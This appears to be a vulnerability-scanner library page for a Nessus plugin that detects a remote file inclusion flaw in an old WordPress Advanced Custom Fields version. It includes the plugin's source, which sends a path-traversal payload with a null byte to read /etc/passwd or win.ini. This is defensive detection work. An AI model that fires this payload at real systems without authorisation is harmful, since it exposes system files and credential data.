Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion - Nessus

High Plugin ID: 63326

This page contains detailed information about the Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents

hide

Plugin Overview
Vulnerability Information

Synopsis
Description
Solution

Public Exploits
Risk Information
Plugin Source
How to Run
References
Version

Plugin Overview

ID: 63326
Name: Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion
Filename: wordpress_advanced_custom_fields_rfi.nasl
Vulnerability Published: 2012-11-14
This Plugin Published: 2012-12-21
Last Modification Time: 2021-01-19
Plugin Version: 1.10
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: os_fingerprint.nasl, wordpress_detect.nasl
Required KB Items [?]: installed_sw/WordPress, www/PHP

Vulnerability Information

Severity: High
Vulnerability Published: 2012-11-14
Patch Published: 2012-11-16
CVE [?]: N/A
CPE [?]: cpe:/a:wordpress:wordpress

Synopsis

The remote web server contains a PHP application that is afffected by a remote file inclusion attack.

Description

The version of the Advanced Custom Fields plugin for WordPress installed on the remote host fails to properly sanitize user-supplied input to the 'acf_abspath' parameter of its 'core/actions/export.php' script. A remote, unauthenticated attacker can exploit this issue to view arbitrary files or execute arbitrary PHP code, possibly taken from third-party hosts, on the remote host.

Solution

Upgrade to Advanced Custom Fields version 3.5.2 or later.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion vulnerability:

Metasploit: exploit/unix/webapp/wp_advanced_custom_fields_exec
[WordPress Plugin Advanced Custom Fields Remote File Inclusion]
D2 Elliot: wordpress_advanced_custom_fields_3.5.1_rfi.html
[WordPress Advanced Custom Fields 3.5.1 RFI]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:P/I:P/A:P/E:F/RL:OF/RC:ND

CVSS Base Score:	7.5 (High)
Impact Subscore:	6.4
Exploitability Subscore:	10.0
CVSS Temporal Score:	6.2 (Medium)
CVSS Environmental Score:	NA (None)
Modified Impact Subscore:	NA
Overall CVSS Score:	6.2 (Medium)

Go back to menu.

Plugin Source

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(63326);
  script_version("1.10");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(56528);

  script_name(english:"Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion");
  script_summary(english:"Attempts to read a local file.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is afffected by
a remote file inclusion attack.");
  script_set_attribute(attribute:"description", value:
"The version of the Advanced Custom Fields plugin for WordPress
installed on the remote host fails to properly sanitize user-supplied
input to the 'acf_abspath' parameter of its 'core/actions/export.php'
script. A remote, unauthenticated attacker can exploit this issue to
view arbitrary files or execute arbitrary PHP code, possibly taken
from third-party hosts, on the remote host.");
  # http://ceriksen.com/2012/11/14/wordpress-advanced-custom-fields-remote-file-inclusion-vulnerability/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?91911f17");
  script_set_attribute(attribute:"see_also", value:"http://www.advancedcustomfields.com/to-do/#3.5.2");
  script_set_attribute(attribute:"solution", value:"Upgrade to Advanced Custom Fields version 3.5.2 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"WordPress Advanced Custom Fields 3.5.1 RFI");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WordPress Plugin Advanced Custom Fields Remote File Inclusion');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/11/14");
  script_set_attribute(attribute:"patch_publication_date", value:"2012/11/16");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/21");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:wordpress:wordpress");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wordpress_detect.nasl", "os_fingerprint.nasl");
  script_require_keys("installed_sw/WordPress", "www/PHP");
  script_require_ports("Services/www", 80);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

app = "WordPress";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);

dir = install['path'];
install_url = build_url(port:port, qs:dir);

plugin = 'Advanced Custom Fields';

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  regexes = make_list();
  regexes[0] = make_list('#acf_fields');
  checks["/wp-content/plugins/advanced-custom-fields/js/fields.js"] = regexes;

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );
}
if (!installed)
  audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " plugin");

# Determine what to look for.
os = get_kb_item("Host/OS");
if (os && report_paranoia < 2)
{
  if ("Windows" >< os) files = make_list('windows/win.ini', 'winnt/win.ini');
  else files = make_list('etc/passwd');
}
else files = make_list('etc/passwd', 'windows/win.ini', 'winnt/win.ini');

file_pats = make_array();
file_pats['etc/passwd'] = "root:.*:0:[01]:";
file_pats['winnt/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";
file_pats['windows/win.ini'] = "^\[[a-zA-Z]+\]|^; for 16-bit app support";

foreach file (files)
{
  url = "/wp-content/plugins/advanced-custom-fields/core/actions/export.php";
  attack =  mult_str(str:"../", nb:12) + file;

  res2 = http_send_recv3(
    method    : "POST",
    item      : dir + url,
    data      : "acf_abspath=" + urlencode(str:attack) + "%00",
    content_type : "application/x-www-form-urlencoded",
    port         : port,
    exit_on_fail : TRUE
  );
  body = res2[2];

  # Check for errors
  error_returned = FALSE;
  if (
    !isnull(body) &&
    (
      (attack+'\\0wp-load.php): failed to open stream:' >< body) ||
      (attack+'\\0wp-load.php) [function.include]: failed to open stream:' >< body) ||
      (attack+'\\0wp-load.php'+") [<a href='function.include'>function.include</a>]: failed to open stream:" >< body) ||

      #open_basedir
      (attack+'\\0wp-load.php) [function.require_once]: failed to open stream:' >< body) ||
      (attack+'\\0wp-load.php'+") [<a href='function.require-once'>function.require-once</a>]: failed to open stream:" >< body) ||
      ("open_basedir restriction in effect. File("+attack+")" >< body)
    )
  ) error_returned = TRUE;
  pat = file_pats[file];

  # check for expected output or an error and report findings
  if ((body =~ pat) || (error_returned))
  {
    if (report_verbosity > 0)
    {
      snip =  crap(data:"-", length:30)+' snip '+ crap(data:"-", length:30);
      if (error_returned)
      {
        report =
          '\nNessus was not able to exploit the issue, but was able to verify it' +
          '\n' + 'exists by examining the error message returned from the following' +
          '\n' + 'request :' +
          '\n' +
          '\n' + http_last_sent_request() +
          '\n' +
          '\n';
      }
      else
      {
        report =
          '\nNessus was able to exploit the issue to retrieve the contents of ' +
          '\n'+ "'" + file + "'" + ' using the following request :' +
          '\n' +
          '\n' + http_last_sent_request() +
          '\n' +
          '\n';
      }
      if (report_verbosity > 1)
      {
        body = data_protection::redact_etc_passwd(output:body);
        report +=
          '\n' + 'This produced the following output :' +
          '\n' +
          '\n' + snip +
          '\n' + chomp(body) +
          '\n' + snip +
          '\n';
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);
    exit(0);
  }
}
audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " plugin");

The latest version of this script can be found in these locations depending on your platform:

Linux / Unix:
/opt/nessus/lib/nessus/plugins/wordpress_advanced_custom_fields_rfi.nasl
Windows:
C:\ProgramData\Tenable\Nessus\nessus\plugins\wordpress_advanced_custom_fields_rfi.nasl
Mac OS X:
/Library/Nessus/run/lib/nessus/plugins/wordpress_advanced_custom_fields_rfi.nasl

Go back to menu.

How to Run

Here is how to run the Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

Click to start a New Scan.
Select Advanced Scan.
Navigate to the Plugins tab.
On the top right corner click to Disable All plugins.
On the left side table select CGI abuses plugin family.
On the right side table select Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion plugin ID 63326.
Specify the target on the Settings tab and click to Save the scan.
Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wordpress_advanced_custom_fields_rfi.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wordpress_advanced_custom_fields_rfi.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wordpress_advanced_custom_fields_rfi.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wordpress_advanced_custom_fields_rfi.nasl -t <IP/HOST>

Go back to menu.

References

BID | SecurityFocus Bugtraq ID:

56528

See also:

Similar and related Nessus plugins:

24284 - Advanced Poll admin/index.php Session Identifier Replay Authentication Bypass
21302 - phpBB Advanced GuestBook addentry.php phpbb_root_path Parameter Remote File Inclusion
147637 - F5 Networks BIG-IP : BIG-IP Advanced WAF and ASM iControl REST vulnerability (K06440657)
147630 - F5 Networks BIG-IP : Advanced WAF/ASM TMUI authenticated remote command execution vulnerability (K45056101)
147634 - F5 Networks BIG-IP : Advanced WAF/ASM buffer-overflow vulnerability (K52510511)
147635 - F5 Networks BIG-IP : BIG-IP Advanced WAF and ASM XSS vulnerability (K55237223)
147625 - F5 Networks BIG-IP : Appliance mode Advanced WAF/ASM TMUI authenticated remote command execution vulnerability (K56142644)
125872 - RHEL 8 : Advanced Virtualization (RHSA-2019:1455)
62736 - WANem index-advanced.php XSS

Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wordpress_advanced_custom_fields_rfi.nasl version 1.10. For more plugins, visit the Nessus Plugin Library.

Go back to menu.

Advanced Custom Fields Plugin for WordPress 'acf_abspath' Parameter Remote File Inclusion - Nessus

Plugin Overview

Vulnerability Information

Synopsis

Description

Solution

Public Exploits

Risk Information

Plugin Source

How to Run

References

Version

Nessus Plugin Library

Solving Problems with Office 365 Email from GoDaddy

Empire Module Library

CrackMapExec Module Library

Metasploit Android Modules

Top 16 Active Directory Vulnerabilities

Top 10 Vulnerabilities: Internal Infrastructure Pentest

Terminal Escape Injection

Cisco Password Cracking and Decrypting Guide

Capture Passwords using Wireshark

SSH Brute Force Attack Tool using PuTTY / Plink (ssh-putty-brute.ps1)

SMB Brute Force Attack Tool in PowerShell (SMBLogin.ps1)

Port Scanner in PowerShell (TCP/UDP)

Nessus CSV Parser and Extractor

Default Password Scanner (default-http-login-hunter.sh)